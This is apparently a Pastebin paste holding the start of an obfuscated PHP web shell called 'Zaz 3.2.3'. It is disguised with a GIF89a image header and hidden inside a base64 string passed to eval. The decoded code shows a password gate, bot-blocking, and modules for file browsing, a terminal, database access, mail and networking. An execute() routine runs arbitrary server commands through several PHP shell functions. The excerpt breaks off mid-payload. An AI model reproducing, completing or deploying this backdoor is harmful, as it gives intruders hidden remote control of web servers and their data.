mitingokeh

arsip

Feb 25th, 2021
354
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 291.04 KB | None | 0 0
  1. GIF89;a
  2. <?php eval("?>".base64_decode("PD9waHAKLyoKCVpheiAzLjIuMwoqLwokR0xPQkFMU1sncGFzcyddID0gImIwNzg0YTIyMzU3MzRmMTlmZjUyMmRiNmZlZGM5YzE5M2I5N2U4MjAiOyAvLyAKJEdMT0JBTFNbJ21vZHVsZV90b19sb2FkJ10gPSBhcnJheSgiZXhwbG9yZXIiLCAidGVybWluYWwiLCAiZXZhbCIsICJjb252ZXJ0IiwgImRhdGFiYXNlIiwgImluZm8iLCAibWFpbCIsICJuZXR3b3JrIiwgInByb2Nlc3NlcyIpOyRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYjM3NGsnXSA9ICJoVlhacnJNNEVuNmdqQVJoQzh5b0w5aFhROWdEZDJ4aEo1eXc4L1RqL09lZjd0UFNTRzNKd2paVlh5MWZsWjBuYy9MdnVrL0tBaG1IOGo5cE1oVVU4YTg2NEN4blEzVzVmTEZ3bUs1ZmlYNEpWOXhueTlvOEczMitUeHBocXM5Q2ZqaFNxRGhlaXNWb2prbEhiSE5jTEROMTdISmFHa3BESEdoZEZEcGtsblhkL2FOd2FHTWdWV2dvWG9IVm0ydnFrdFczUEVta0QvWjdDQnRTS0Z3VllYT1g4MXdkaC9tWU5taDl1eTJJV25OakxLQjFjQVltRUsrYmpRV3Z4SytvckErOG9pWDlDQi9mMGRtMWFrTmZWR0VucktHYU0vbmE1YkpZRnZKMVNnZEFGVkFmK3JSR3ZVOTk5bWtZb0pGTDE2cFNVbEJteStXSlVWdXBUVEd0VTZYSzlIbE9TSEc0RnZ3RkhOY0dDT0t1Q2hGbU5DSnFlaEVHM0swRURidURtdDQrMDZ6UjNSUmVWN041SGViQmxpci9lelpFZVZlME5tNUcxeEdqUC8zSmVxZS91OW9yVjV6TnF1azF4M1BjR0xMVDZKa2pQdWpkOGxyU09ObkRPTlhEZUVEOStub1dJWWxHajNLRytzMFBYREYrbUUzV2R6Q0diazFyN29qbGlJcENiYzBmTnFQVzZsODVnSEgrdEFuUGx0ODVXU0tNbVEyOHFqS2UzbzJHWFdIT2lUVGNsK3djSVVlYzZYbG9uU2dPbWdtdjFjQkk2T2Qzcm94ZmZESkU5R0JYNEJLYmdWMW40L2pMWm9ZN2JoeEdqTnBYYUs2d2xIRXdTM2I4eVgrVFl1aGF5Tkptbk9JQ2VPWU1sRzZMWGNhRk1VSC90ZVpUUzNFTklFK1FVMkVVSU9kVkxqTkhJRE5yQ2ptMXYvMHZmYmxhNGZtWnlNeW1pcVpuMXV3cndMb0Yyc0d6by8zV0Y2K20xWFlMOUtsS2U3TnpmWmlmVDYzdzVKaUVOZ1ZhUnpJaHgwQ3dDU0NVQi9Ba0NhQ1M0QWc1WjZMZ3REeDJOODlZc3Yzb0J4NjBqd2R6RExuNWdkZitIYy8vUjd4N3pkSWZmandmcFJ3NU9KSkgzTVZpZk1EOGxMOXpTQ1VoZWVheUJMa0tOQWZHL3BFMytnNzJ4dXR3UkI4MW0yZ0RUYmxaZ3JvRDN6OXQzeFJOVk1UdEU1Q3dmbkd6RFRnSDFzUC84R0J1bWp5OGR1bmcvTUJ6L281My9pUGUrdkhkd1A5UExYNXFsR2QrMWFQZk92SzMzSGUvL2VvL0QvNFhHQ0tUcFNiQkFsU1ZnK1hUNTFtdEl2ZUY4a1B0Yysvb2grczdYS0EweVZNeWMxY3pLMG01RmNpekV0cDNqOVVvYm8vVnRGZVJXd0xWTDlXaXJuVUtjWGxXOTNTemsxN2l6RGxQY1gxRUZiaWdzZzFtNEJ1M0w3ZjhjbEdiTjNWUGNLbE1DK1dhR3NqYkxWNXhwTGlrRndZbjRuSy9Qd1V1eDVzN1RlN25NRmpXdVR4UHd1WGZOK2ZXRHJwVkVrVVM1RXg0NThvcGpoRGNqTE5RUXowNVNmUmlpYy95eEpZQ2xKSjBHYWx3TUZDTGJVNmdYNTUwZTlsS1luL3NKbk1WeUdHaVh5M05Pd3JwWXZLcmRHbUYwOXZydnVTWGhlUFViZXpKODNEV0VMbE1DcXN0Z0I2bU4xREZUcWxSSkZIWVh1b1FTOFZDNTdDSzlhMGowYVpKTHdFdE1xbDlobk0xQ3FhalhQbHNKbUxyZEpLeWV5RENGRjI4elB6eS9Cd2JLN0Y1WGEwNkxFbGQ5eXZOUzVlRWVuamV6ZFZYdHpOR09lUW93VytXMEM1Q3BDZHFUUTJyRnkyc25IZkI1dExheG5qYUFUTDN5RFF3M250SzNwZ0Z2cWkzRmVDUEs3TU5tZWFicmpnTnVqdUY5WE5IT1QzeXlyd1M5bG8wdVdjVDg4dXVGYzBERFlubk82N1oySXo5WUEvMDZObG54Nko3NnBXTWQzMGpWUFpHSkR5djFxRDRpb1Z4RHRVbG9DOFYyejRzU0M5VEpJWjV2RmZybVkrRVBDSlNvM2NqY0ZNRGRCR1dWM3pDWitMZ2ErVk1UaEpoZjdXdHFrOENPOHVQZ2JGZHIrcEFML0VsWGZxOWFJenRvMlFZNldWdXBhaGhEY2VGNDR1N0kvVEUzMWhRSTJLRWlLdmhjN2JHanhid0dPeGFDVEtwdFdyWjNYTWF1WW1xTkxvVmI0UGh6VWJUTzBSTFEzVDh6VE9mSzN3amsrNlY1MkcvTGhocDd0NjVKaklGUk1NSkhqcmlsZ2I5VkdLR2JTYkE2LzRwZlhHVjI5Z3gyNzU1YXEyL2p1T2lHdm51MzI1a3F1RHNQVWk3RUcvd082ekhqRWhsVlRIdjhHNGhjamFUOG5ucVBQUm1oZGxhT1lHbXJzRmNvZ2d6Vk5wYkJsOWY0VGxLNmJXUW9xVU9ubm5LOHBsc2Rlc1o3V2htRlZzU3VQT3gxQkhwNDVvVXBFbFY3WGhoRS9UWXZmRlhLc3pLbDd0N1RrenB6Sk84bDZ6STlraTFzb0xheXBiOTZ3bDMvY0J5ZEpLUFZQV1Avd0k9IjsKJEdMT0JBTFNbJ3Jlc291cmNlcyddWydtaW1lJ10gPSAiZFpUaGRxTWdFSVgvN3puN0R2TUMyalo2MnQzSG1RZ2FHa2VwQ0RGdnZ4ZU5pczMyeHgzaHV3TVltVWt3U3ZjdlJXTXRJZnorRmJiNUNlQzBnc3ZwL1kxaVNFQVJRWkdBTW9KeUJaOVdOL1JwbTdBRG9VV05yRXcrVDdUSWJtZUpMZW1oZ05DVXU0RWRIMkVla0x3aDQ3U2QwRGNOOWZ1Qlg5NVUxOUdJcHErUnBOOTQ2RlN1ZEtYeml5SWZMbEM0UEhuU24wMnI0VW4wNWNtM2NhMk5ubjN5WFBSYzlOeVROMCtqRlhWOHBYRE82M2dtQmltdncwaFFpdUpIOEVOTE1ubVMwaDhzbDltVzc0Tm1kYzlGSzhPNXZRZUMwaXljN2ZQNGtYM3c4VVVPV3dRVGVrSlkyVTJmaFdKWXdaVFZ1Qm9vQWEwaEtBWElhSk1NaWJlWkxoRWVoOTVkbWVRSzUxb29CSmZZSGU2NGF4TGdNblkxTFpvT1BQUm5nZzdzaG5lV2J5UUFoVzlzQWp2dWRndGc0Y0NXVytPUS9FRFhtQXhGWlRUTk1URndqSXZIc0ZlbWYyRmxLeUhFRlp6Wm1ZcllrK3ZVeXNRb1F3ZzBENjQ4MENCbU01ZG00SDIrdEFDK0hMb1Vpb01DallCbnNXVXR6Y0FVbjg1T0szYUZFTFJOVFhzbGhIVysxZWs4Uldsd0xBOCsyS1l4STdmWnpYVEtrZTZQYXdjbTZJQkdSOUEzRkpzUGo0dEtlZXNyM1kxNTZFMmxxUTAyOWY1YjJJekNQaHpXZVQxd2poL1EydkxQNnl0dG94K1NQc3FQUjFJYy9aRDA5MzNkS1k3U3BNRllnbGEwZHNyMlNsUEdqTHZtS2dHbVJnR2JXWE5JdklwcmduWlF0MWdldzQ2U3RrbU8yZjRSQ3A5QTFES2psbms2TW1IVWZMTFlkaGsrYTd0YytjQkN3dzhtYnNBM3BrTngyajNoeG1ncjN1cDlFcHJrSHc9PSI7CiRHTE9CQUxTWydyZXNvdXJjZXMnXVsnYXJyb3cnXSA9ICJGWlhIRHF0WURJWWZLQ1BSUzJaMEY0Y1NlbStCSGZWUUE2SEQwMCt1Ri9abnkyWHpTeTdTTmYyM0dWSllJdE1IL3BlbFMwbVQvelFoWjdrSHFrbHdCRDh6dmFBV0EvZ2ovbThLSUEvaVgrRHU4ak9qZnd2OG0xT2l0L0dqeGZzNVhZU3lSN3daOXNkaUxQYWlFN3J4d1ladkR6M3owRzBmTjlQdDFQcWlETHV5Umd6QTdzVnBvMk52TDNDZHk2cDFlU1MzVW0yMWVacWZXMnVjNlhjOVNUWWpHMEU4enliWjNseFlyR0xnbWlqNkZUZ0Qrb0UxZkh6UnlCOUlYcElGbFQrNko4WEFSTlJpdnFBRUx5Tlc2OTRmQllLZ2RRNTRpMlJxdU9nb0l3T3FFcFJLNkc2NnFrNEhqRkNBV1g5TlJwNWNVNmhNc2R2U1FoaUdDWHI3SG1meWwvVGFSOUt3akR4bGRXTnA5d3g3enV4MnNZMHVXVUFCRHhVUVdob0cyRHQ4V2xPWUl1SDhmanBlajBsMEFnM2swMUFIWXlMTk5vN2V4ekFTN2pjelRrNW9vZ3pObEVUVkw1ZzJUY0xZUUk3bjV5KzlkUlh6Z040ejE5ZktyNG1QQ3NMbStaNGZoYzluRmFiN09Sak1KU09hckgwWHhKTThiTUhCS2hFTnpncmVFbkI0UndGTmdVYjF3bTZ5TUZkOXN5UnQwclBDaEZKNGU3RDJtZDYzL2N6RkUrQjJMc054RXBrd1plTG50U1V1VXl1Q1RaR2IwYllNQmk5UGZUM0FDYUsvZllkVUU4R3pldUxYYkkwV2lJL3pSVDdzbldNVjd2WGMwQkxGd1F2SWZTWUtqZ3RvSWlLSk84cmVGVjRhaG5NQTFKUmRLeDFITWl5eU1vWm5NZ1FYN1cySmI0L3R1ZGFEUnRKT1VnWlk1RkFGYnBFbllRaUFCRVU1RStYeUt1M3BxUml6aDY3NkIyOVNzeWsxWlpjWndMS3dsbXM1aWdjbk9wMSsxZWtTU1FLOUx2MFMyWm5IOTJqcmdFYmpOMGI5ZE80NE9LNFo0bUljMlZ4b3h4WmVwek8rV0x6Y0pycmE4d1lHNVJLcUROZTN3K09EUW5yUHprK095Wm8rejhrTDhISzNYTmhjYzdDeTkyY1ZZVzNXc1ZacFN6WkNWRW9wTWxVdW4vWGxPRnpUV25WcHQ4U2hBRm1ac3hWQjNzTldrdkxBVVN4ZHloV01nZWExeUg0akpWQmIzUWFBRlByeFUzdjZWRDdEc0ZwT0NWeFN3UlpzVEZzdzZHYTFxRm1WVXhTM3RWOVdqSmtoa3haQU1hSExBNyswTko3ZHk5YWJrbXFocHBSOW9BWUlKTTlnM09IVEQrOCt3UXRrWU1DaUhTeFF4TUV6V3Zra3RLUHpnc2tmZC9GM200V0gwOWxBZlV0VGhRK0pBMnBNdmJuSjZ0OFNMd2R0elh2UjQ3WmUwWjBWa0M1RjZjN2VTeGw2bjgvcHVkSVlHbDg5TWl0eklIRXVYeFZZRDNKK3F0OW9RNFBKcXNRakVPZXdldEhaRVVmOFVDUllqSHc3dm14b2UwQmp0eDU5cDRQZnRSckRxWERSWFRMcVExTkdMVkU2MTNQVlpteWFpUmU2U25WOWI4U0NkQTkxQjdhMWhCOFJTM3hXSElYZFk2VDlUd0NjMHhSaTNJWkdUQjc0VlNzNnJMa3JYVm0walZqalFOc3RFejNEQ05PcFZ5M1hrOTFjVkp4YmFPS0ViRnZyUUN5MmZ4U1V6aGFudlBxNWJtY2NOV1RQRzNVYk1zWG9QV1NTNVRUVHZvL1c4THNpWjZTZHpkbTJxR1NxSmFwdnVuY2IvamxJMWM0aTYwTk41M1Rhc29nd0wwYS9HRm55RjRsZ2lHWFcyTjdCTnlMNUVFeVFBNDJMZFp0YW8yUzlmK3JlQTA0UURiYUVRdFJnMFlSbGIvRTBrc3ljaTRNTTFIbFZ2dnFRbHowYXFNWGVzc2x2cXo3WTRiYUwwV3ZOSHZmbFJuTE54TFI1SUZmYjlLclpUOTdMb3R6OE9GdEpKajl1Z1NGaFZZeTluemN1UnZDK3ZiRjZ6ZHJXcFl0UGVrK3J4amFlTW9nNHB2T0liSjN3T1RRbUZiM2QvYXROOUhWN1pzdVpGQUlSbmdoMG9WUUtaWGIrZmdCT2RRTktuRHNWUXZqbnovOD0iOwokR0xPQkFMU1sndmVyJ10gPSAiMy4yLjMiOwokR0xPQkFMU1sndGl0bGUnXSA9ICJ6YSI7CkBvYl9zdGFydCgpOwplcnJvcl9yZXBvcnRpbmcoRV9FUlJPUiB8IEVfV0FSTklORyB8IEVfUEFSU0UgfCBFX05PVElDRSk7CkBpbmlfc2V0KCdodG1sX2Vycm9ycycsJzAnKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywnMScpOwpAaW5pX3NldCgnZGlzcGxheV9zdGFydHVwX2Vycm9ycycsJzEnKTsKQGluaV9zZXQoJ2xvZ19lcnJvcnMnLCcwJyk7CkBzZXRfdGltZV9saW1pdCgwKTsKQGNsZWFyc3RhdGNhY2hlKCk7CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2F1dGgnKSl7CglmdW5jdGlvbiBhdXRoKCl7CgkJaWYoaXNzZXQoJEdMT0JBTFNbJ3Bhc3MnXSkgJiYgKHRyaW0oJEdMT0JBTFNbJ3Bhc3MnXSkhPScnKSl7CgkJCSRjID0gJF9DT09LSUU7CgkJCSRwID0gJF9QT1NUOwoJCQlpZihpc3NldCgkcFsncGFzcyddKSl7CgkJCQkkeW91cl9wYXNzID0gc2hhMShtZDUoJHBbJ3Bhc3MnXSkpOwoJCQkJaWYoJHlvdXJfcGFzcz09JEdMT0JBTFNbJ3Bhc3MnXSl7CgkJCQkJc2V0Y29va2llKCJwYXNzIiwgJHlvdXJfcGFzcywgdGltZSgpKzM2MDAwLCAiLyIpOwoJCQkJCWhlYWRlcigiTG9jYXRpb246ICIuZ2V0X3NlbGYoKSk7CgkJCQl9CgkJCX0KCQkJaWYoIWlzc2V0KCRjWydwYXNzJ10pIHx8ICgoaXNzZXQoJGNbJ3Bhc3MnXSkmJigkY1sncGFzcyddIT0kR0xPQkFMU1sncGFzcyddKSkpKXsKCQkJCSRyZXMgPSAiPCFkb2N0eXBlIGh0bWw+CgkJPGh0bWw+CgkJPGhlYWQ+CgkJPG1ldGEgY2hhcnNldD0ndXRmLTgnPgoJCTxtZXRhIG5hbWU9J3JvYm90cycgY29udGVudD0nbm9pbmRleCwgbm9mb2xsb3csIG5vYXJjaGl2ZSc+CgkJPG1ldGEgbmFtZT0ndmlld3BvcnQnIGNvbnRlbnQ9J3dpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLjAsIG1heGltdW0tc2NhbGU9MS4wLCB1c2VyLXNjYWxhYmxlPW5vLCB1c2VyLXNjYWxhYmxlPTAnPgoJCTwvaGVhZD4KCQk8Ym9keSBzdHlsZT0nYmFja2dyb3VuZDojZjhmOGY4O2NvbG9yOiMwMDAwMDA7cGFkZGluZzowO21hcmdpbjowOyc+PGJyPjxwPjxjZW50ZXI+PG5vc2NyaXB0PllvdSBuZWVkIHRvIGVuYWJsZSBqYXZhc2NyaXB0PC9ub3NjcmlwdD48L2NlbnRlcj48L3A+CgkJPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPgoJCXZhciBkID0gZG9jdW1lbnQ7CgkJZC53cml0ZShcIjxicj48YnI+PGZvcm0gbWV0aG9kPSdwb3N0Jz48Y2VudGVyPjxpbnB1dCB0eXBlPSdwYXNzd29yZCcgaWQ9J3Bhc3MnIG5hbWU9J3Bhc3MnIHN0eWxlPSdmb250LXNpemU6MzRweDt3aWR0aDozNCU7b3V0bGluZTpub25lO3RleHQtYWxpZ246Y2VudGVyO2JhY2tncm91bmQ6I2ZmZmZmZjtwYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICNjY2NjY2M7Ym9yZGVyLXJhZGl1czo4cHg7Y29sb3I6IzAwMDAwMDsnPjwvY2VudGVyPjwvZm9ybT5cIik7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLmZvY3VzKCk7CgkJZC5nZXRFbGVtZW50QnlJZCgncGFzcycpLnNldEF0dHJpYnV0ZSgnYXV0b2NvbXBsZXRlJywgJ29mZicpOwoJCTwvc2NyaXB0PgoJCTwvYm9keT48L2h0bWw+CgkJIjsKCQkJCWVjaG8gJHJlczsKCQkJCWRpZSgpOwoJCQl9CgkJfQoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9zZXJ2ZXJfaW5mbycpKXsKCWZ1bmN0aW9uIGdldF9zZXJ2ZXJfaW5mbygpewoJCSRzZXJ2ZXJfYWRkciA9IGlzc2V0KCRfU0VSVkVSWydTRVJWRVJfQUREUiddKT8gJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ106JF9TRVJWRVJbIkhUVFBfSE9TVCJdOwoJCSRzZXJ2ZXJfaW5mb1snaXBfYWRycmVzcyddID0gIlNlcnZlciBJUCA6ICIuJHNlcnZlcl9hZGRyLiIgPHNwYW4gY2xhc3M9J3N0cm9uZyc+fDwvc3Bhbj4gWW91ciBJUCA6ICIuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107CgkJJHNlcnZlcl9pbmZvWyd0aW1lX2F0X3NlcnZlciddID0gIlRpbWUgPHNwYW4gY2xhc3M9J3N0cm9uZyc+QDwvc3Bhbj4gU2VydmVyIDogIi5AZGF0ZSgiZCBNIFkgSDppOnMiLHRpbWUoKSk7CgkJJHNlcnZlcl9pbmZvWyd1bmFtZSddID0gcGhwX3VuYW1lKCk7CgkJJHNlcnZlcl9zb2Z0d2FyZSA9IChnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpIT0nJyk/IGdldGVudignU0VSVkVSX1NPRlRXQVJFJykuIiA8c3BhbiBjbGFzcz0nc3Ryb25nJz58PC9zcGFuPiAiOicnOwoJCSRzZXJ2ZXJfaW5mb1snc29mdHdhcmUnXSA9ICRzZXJ2ZXJfc29mdHdhcmUuIiAgUEhQICIucGhwdmVyc2lvbigpOwkJCgkJcmV0dXJuICRzZXJ2ZXJfaW5mbzsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdnZXRfc2VsZicpKXsKCWZ1bmN0aW9uIGdldF9zZWxmKCl7CgkJJHF1ZXJ5ID0gKGlzc2V0KCRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSkmJighZW1wdHkoJF9TRVJWRVJbIlFVRVJZX1NUUklORyJdKSkpPyI/Ii4kX1NFUlZFUlsiUVVFUllfU1RSSU5HIl06IiI7CgkJcmV0dXJuIGh0bWxfc2FmZSgkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXS4kcXVlcnkpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9wb3N0JykpewoJZnVuY3Rpb24gZ2V0X3Bvc3QoKXsKCQlyZXR1cm4gZml4X21hZ2ljX3F1b3RlKCRfUE9TVCk7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ2V0X25hdicpKXsKCWZ1bmN0aW9uIGdldF9uYXYoJHBhdGgpewoJCXJldHVybiBwYXJzZV9kaXIoJHBhdGgpOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9jd2QnKSl7CglmdW5jdGlvbiBnZXRfY3dkKCl7CgkJJGN3ZCA9IGdldGN3ZCgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJaWYoIWlzc2V0KCRfQ09PS0lFWydjd2QnXSkpewoJCQlzZXRjb29raWUoImN3ZCIsICRjd2QpOwoJCX0KCQllbHNlewoJCQkkY3dkX2MgPSByYXd1cmxkZWNvZGUoJF9DT09LSUVbJ2N3ZCddKTsKCQkJaWYoaXNfZGlyKCRjd2RfYykpICRjd2QgPSByZWFscGF0aCgkY3dkX2MpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCWVsc2Ugc2V0Y29va2llKCJjd2QiLCAkY3dkKTsKCQl9CgkJcmV0dXJuICRjd2Q7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnd3JhcF93aXRoX3F1b3RlcycpKXsKCWZ1bmN0aW9uIHdyYXBfd2l0aF9xdW90ZXMoJHN0cil7CgkJcmV0dXJuICJcIiIuJHN0ci4iXCIiOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2dldF9yZXNvdXJjZScpKXsKCWZ1bmN0aW9uIGdldF9yZXNvdXJjZSgkdHlwZSl7CgkJaWYoaXNzZXQoJEdMT0JBTFNbJ3Jlc291cmNlcyddWyR0eXBlXSkpewoJCQlyZXR1cm4gZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJEdMT0JBTFNbJ3Jlc291cmNlcyddWyR0eXBlXSkpOwoJCX0KCQlyZXR1cm4gZmFsc2U7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmxvY2tfYm90JykpewoJZnVuY3Rpb24gYmxvY2tfYm90KCl7CgkJLy8gYmxvY2sgc2VhcmNoIGVuZ2luZSBib3QKCQlpZihpc3NldCgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pICYmIChwcmVnX21hdGNoKCcvYm90fHNwaWRlcnxjcmF3bGVyfHNsdXJwfHRlb21hfGFyY2hpdmV8dHJhY2t8c25vb3B5fGphdmF8bHdwfHdnZXR8Y3VybHxjbGllbnR8cHl0aG9ufGxpYnd3dy9pJywgJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkpewoJCQloZWFkZXIoIkhUVFAvMS4wIDQwNCBOb3QgRm91bmQiKTsKCQkJaGVhZGVyKCJTdGF0dXM6IDQwNCBOb3QgRm91bmQiKTsKCQkJZGllKCk7CgkJfQoJCWVsc2VpZighaXNzZXQoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSl7CgkJCWhlYWRlcigiSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCIpOwoJCQloZWFkZXIoIlN0YXR1czogNDA0IE5vdCBGb3VuZCIpOwoJCQlkaWUoKTsKCQl9Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnaXNfd2luJykpewoJZnVuY3Rpb24gaXNfd2luKCl7CgkJcmV0dXJuIChzdHJ0b2xvd2VyKHN1YnN0cihwaHBfdW5hbWUoKSwwLDMpKSA9PSAid2luIik/IHRydWUgOiBmYWxzZTsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdmaXhfbWFnaWNfcXVvdGUnKSl7CglmdW5jdGlvbiBmaXhfbWFnaWNfcXVvdGUoJGFycil7CgkJJHF1b3Rlc19zeWJhc2UgPSBzdHJ0b2xvd2VyKGluaV9nZXQoJ21hZ2ljX3F1b3Rlc19zeWJhc2UnKSk7CgkJaWYoZnVuY3Rpb25fZXhpc3RzKCdnZXRfbWFnaWNfcXVvdGVzX2dwYycpICYmIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpewoJCQlpZihpc19hcnJheSgkYXJyKSl7CgkJCQlmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KXsKCQkJCQlpZihpc19hcnJheSgkdikpICRhcnJbJGtdID0gY2xlYW4oJHYpOwoJCQkJCWVsc2UgJGFyclska10gPSAoZW1wdHkoJHF1b3Rlc19zeWJhc2UpIHx8ICRxdW90ZXNfc3liYXNlID09PSAnb2ZmJyk/IHN0cmlwc2xhc2hlcygkdikgOiBzdHJpcHNsYXNoZXMoc3RyX3JlcGxhY2UoIlwnXCciLCAiXCciLCAkdikpOwoJCQkJfQoJCQl9CgkJfQoJCXJldHVybiAkYXJyOwoJfQp9CmlmKCFmdW5jdGlvbl9leGlzdHMoJ2V4ZWN1dGUnKSl7CglmdW5jdGlvbiBleGVjdXRlKCRjb2RlKXsKCQkkb3V0cHV0ID0gIiI7CgkJJGNvZGUgPSAkY29kZS4iIDI+JjEiOwoJCWlmKGlzX2NhbGxhYmxlKCdzeXN0ZW0nKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKXsKCQkJb2Jfc3RhcnQoKTsKCQkJQHN5c3RlbSgkY29kZSk7CgkJCSRvdXRwdXQgPSBvYl9nZXRfY29udGVudHMoKTsKCQkJb2JfZW5kX2NsZWFuKCk7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgnc2hlbGxfZXhlYycpICYmIGZ1bmN0aW9uX2V4aXN0cygnc2hlbGxfZXhlYycpKXsKCQkJJG91dHB1dCA9IEBzaGVsbF9leGVjKCRjb2RlKTsKCQkJaWYoIWVtcHR5KCRvdXRwdXQpKSByZXR1cm4gJG91dHB1dDsKCQl9CgkJZWxzZWlmKGlzX2NhbGxhYmxlKCdleGVjJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdleGVjJykpewoJCQlAZXhlYygkY29kZSwkcmVzKTsKCQkJaWYoIWVtcHR5KCRyZXMpKSBmb3JlYWNoKCRyZXMgYXMgJGxpbmUpICRvdXRwdXQgLj0gJGxpbmU7CgkJCWlmKCFlbXB0eSgkb3V0cHV0KSkgcmV0dXJuICRvdXRwdXQ7CgkJfQoJCWVsc2VpZihpc19jYWxsYWJsZSgncGFzc3RocnUnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bhc3N0aHJ1JykpewoJCQlvYl9zdGFydCgpOwoJCQlAcGFzc3RocnUoJGNvZGUpOwoJCQkkb3V0cHV0ID0gb2JfZ2V0X2NvbnRlbnRzKCk7CgkJCW9iX2VuZF9jbGVhbigpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3Byb2Nfb3BlbicpICYmIGZ1bmN0aW9uX2V4aXN0cygncHJvY19vcGVuJykpewoJCQkkZGVzYyA9IGFycmF5KAoJCQkJMCA9PiBhcnJheSgicGlwZSIsICJyIiksCgkJCQkxID0+IGFycmF5KCJwaXBlIiwgInciKSwKCQkJCTIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsKCQkJJHByb2MgPSBAcHJvY19vcGVuKCRjb2RlLCAkZGVzYywgJHBpcGVzLCBnZXRjd2QoKSwgYXJyYXkoKSk7CgkJCWlmKGlzX3Jlc291cmNlKCRwcm9jKSl7CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzFdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCQl3aGlsZSgkcmVzID0gZmdldHMoJHBpcGVzWzJdKSl7CgkJCQkJaWYoIWVtcHR5KCRyZXMpKSAkb3V0cHV0IC49ICRyZXM7CgkJCQl9CgkJCX0KCQkJQHByb2NfY2xvc2UoJHByb2MpOwoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQllbHNlaWYoaXNfY2FsbGFibGUoJ3BvcGVuJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3BlbicpKXsKCQkJJHJlcyA9IEBwb3BlbigkY29kZSwgJ3InKTsKCQkJaWYoJHJlcyl7CgkJCQl3aGlsZSghZmVvZigkcmVzKSl7CgkJCQkJJG91dHB1dCAuPSBmcmVhZCgkcmVzLCAyMDk2KTsKCQkJCX0KCQkJCXBjbG9zZSgkcmVzKTsKCQkJfQoJCQlpZighZW1wdHkoJG91dHB1dCkpIHJldHVybiAkb3V0cHV0OwoJCX0KCQlyZXR1cm4gIiI7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnaHRtbF9zYWZlJykpewoJZnVuY3Rpb24gaHRtbF9zYWZlKCRzdHIpewoJCXJldHVybiBodG1sc3BlY2lhbGNoYXJzKCRzdHIsIDIgfCAxKTsKCX0KfQppZighZnVuY3Rpb25fZXhpc3RzKCdwYXJzZV9kaXInKSl7CglmdW5jdGlvbiBwYXJzZV9kaXIoJHBhdGgpewoJCSRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJJHBhdGhzID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7CgkJJHJlcyA9ICIiOwoJCWZvcigkaSA9IDA7ICRpIDwgc2l6ZW9mKCRwYXRocyktMTsgJGkrKyl7CgkJCSR4ID0gIiI7CgkJCWZvcigkaiA9IDA7ICRqIDw9ICRpOyAkaisrKSAkeCAuPSAkcGF0aHNbJGpdLkRJUkVDVE9SWV9TRVBBUkFUT1I7CgkJCSRyZXMgLj0gIjxhIGNsYXNzPSduYXZiYXInIGRhdGEtcGF0aD0nIi5odG1sX3NhZmUoJHgpLiInPiIuaHRtbF9zYWZlKCRwYXRoc1skaV0pLiIgIi5ESVJFQ1RPUllfU0VQQVJBVE9SLiIgPC9hPiI7CgkJfQoJCWlmKGlzX3dpbigpKSAkcmVzID0gZ2V0X2RyaXZlcygpLiRyZXM7CgkJcmV0dXJuIHRyaW0oJHJlcyk7Cgl9Cn0KaWYoIWZ1bmN0aW9uX2V4aXN0cygnemlwJykpewoJZnVuY3Rpb24gemlwKCRmaWxlcywgJGFyY2hpdmUpewoJCSRzdGF0dXMgPSBmYWxzZTsKCQlpZighZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykpIHJldHVybiAkc3RhdHVzOwoJCWlmKGNsYXNzX2V4aXN0cygiWmlwQXJjaGl2ZSIpKXsKCQkJJHppcCA9IG5ldyBaaXBBcm